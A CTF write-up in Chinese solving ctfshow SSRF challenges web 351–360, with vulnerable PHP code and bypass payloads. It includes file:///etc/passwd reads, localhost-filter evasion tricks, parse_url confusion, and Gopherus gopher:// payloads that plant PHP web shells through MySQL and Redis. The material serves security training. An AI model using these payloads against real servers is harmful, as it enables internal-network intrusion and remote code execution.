SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
web 351
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| `<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); curl_close($ch); echo ($result); ?>`
|
1 2 3 4 5 6 7 8
| url=file:///etc/passwd
url=file:///flag.php
url=http://127.0.0.1/flag.php
|
web 352
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
$url = isset($_POST['url']) ? $_POST['url'] : '';
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') { if (!preg_match('/localhost|127\.0\.0\.1/', $x['host'])) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; } else { die('hacker'); } } else { die('hacker'); } ?>
|
parse_url
核心: preg_match('/localhost|127\.0\.0\.1/', $x['host'])
也就是让我们绕过 127.0.0.1 的检测即可
1 2 3 4
| url=http://0/flag.php url=http://0.0.0.0/flag.php url=http://0x7f.0.0.1/flag.php url=http://0177.0.0.1/flag.php
|
web 353
1 2 3 4
| url=http://0/flag.php url=http://127.1/flag.php url=http://0x7f.0.0.1/flag.php url=http://0177.0.0.1/flag.php
|
web 354
0 1 过滤
1 2 3 4 5 6 7
| http(s)://sudo.cc/ 指向 127.0.0.1
<?php header("Location: http://127.0.0.1/flag.php");
|
web 355
长度限制 (5)
1 2
| url=http://0/flag.php url=http://127.1/flag.php
|
web 356
长度限制 (3)
web 357
1 2 3 4 5
| $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); }
|
filter_var
PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程 (runoob.com)
使用特定的过滤器过滤一个变量
不允许使用到保留或者私有 IP, 因此在 DKdun 那边放一个跳转的页面(参考 web 354)
1
| url=http://156.238.233.102/ch1/ssrf_local.php
|
web 358 parse_url
parse_url小结 - tr1ple
1 2 3 4 5 6 7 8 9 10 11
| <?php
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }
|
正则表达式要求提交: http://ctf.???.show
的 URL
\
parse_url
解析 URL,返回其组成部分(PHP 4, PHP 5, PHP 7, PHP 8)
1
| parse_url([string]$url, [int]$componen] = -1)
|
如果省略了 component
参数,将返回关联数组 array
。至少会有一个元素出现在数组中。数组中可能的键有以下几种:
- scheme——如 http
- host
- port
- user
- pass
- path
- query——在问号
?
之后
- fragment——在注释符号
#
之后
如果指定 component
参数,parse_url()
返回 string
或在指定为 [PHP_URL_PORT]
时返回 int
而不是 array
。如果 URL 中指定的组成部分不存在,将会返回 [null]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| 完整url: scheme:[
这里仅讨论url中不含'?'的情况 php parse_url: host: 匹配最后一个@后面符合格式的host
libcurl: host:匹配第一个@后面符合格式的host
如: http:
php parse_url解析结果: schema: http host: b.com user: u pass: p@a.com:80
libcurl解析结果: schema: http host: a.com user: u pass: p port: 80 后面的@b.com/会被忽略掉
parse_url() <?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?> ---------------------------------------------------------------------------------------------------- Array ( [scheme] => http [host] => hostname // [user] => username @前 [pass] => password @前 [path] => /path / [query] => arg=value ?以后的key=value [fragment] => anchor #以后的部分 )
|
本题
parse_url:host: 匹配最后一个@后面符合格式的 host
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
<?php $url = 'http://ctf.@127.0.0.1/flag.php?show'; $x = parse_url($url); var_dump($x); ?>
array(5) { ["scheme"]=>string(4) "http" ["host"]=>string(9) "127.0.0.1" ["user"]=>string(4) "ctf." ["path"]=>string(9) "/flag.php" ["query"]=>string(4) "show" }
|
web 359 mysql
端口扫描
1 2 3 4 5 6 7 8 9
| 端口21开放 端口22开放 端口80开放 端口443开放 端口3389开放 端口1433开放 端口3306开放 端口6379开放 端口8084开放
|
gopherus
1 2 3 4 5 6 7 8 9
| ..\..\python.exe .\gopherus.py --exploit mysql
>> root >> select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php';
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01
记得urlencode
|
web 360 Redis
端口扫描
1 2 3 4 5 6 7 8 9
| 端口21开放 端口22开放 端口80开放 端口443开放 端口3389开放 端口1433开放 端口3306开放 端口6379开放 端口8084开放
|
gopherus
1 2 3 4 5 6 7 8 9 10
| What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell):
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
>> ../shell.php?cmd=tac /flag
|